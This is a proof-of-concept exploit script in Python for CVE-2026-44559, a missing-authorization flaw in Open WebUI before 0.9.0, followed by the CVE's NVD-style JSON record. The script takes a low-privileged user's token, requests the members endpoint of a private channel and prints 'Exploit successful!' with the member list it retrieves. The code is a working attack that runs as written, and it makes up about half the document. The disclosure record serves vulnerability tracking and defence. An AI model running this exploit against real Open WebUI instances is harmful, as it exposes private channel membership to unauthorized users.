CVE-2026-44559

import requests # Target URL configuration target_url = "http://localhost:3000" # The UUID of the private channel (Must be known by the attacker) channel_uuid = "abcd1234-5678-90ef-ghij-klmnopqrstuv" # Valid authentication token of a low-privileged user auth_token = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # The vulnerable endpoint endpoint = f"{target_url}/api/v1/channels/{channel_uuid}/members" headers = { "Authorization": auth_token, "Content-Type": "application/json" } try: # Send the GET request to enumerate members response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Private channel members retrieved:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-44559", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:47.483", "lastModified": "2026-05-15T21:16:36.017", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the GET /api/v1/channels/{id}/members endpoint only checks membership for group and dm channel types (lines 467-469). For standard channels — including private ones — there is no channel_has_access check before returning the member list. Any authenticated user who knows a private channel's UUID can enumerate all users with access to that channel. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c7wp-3qh5-55pv", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c7wp-3qh5-55pv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}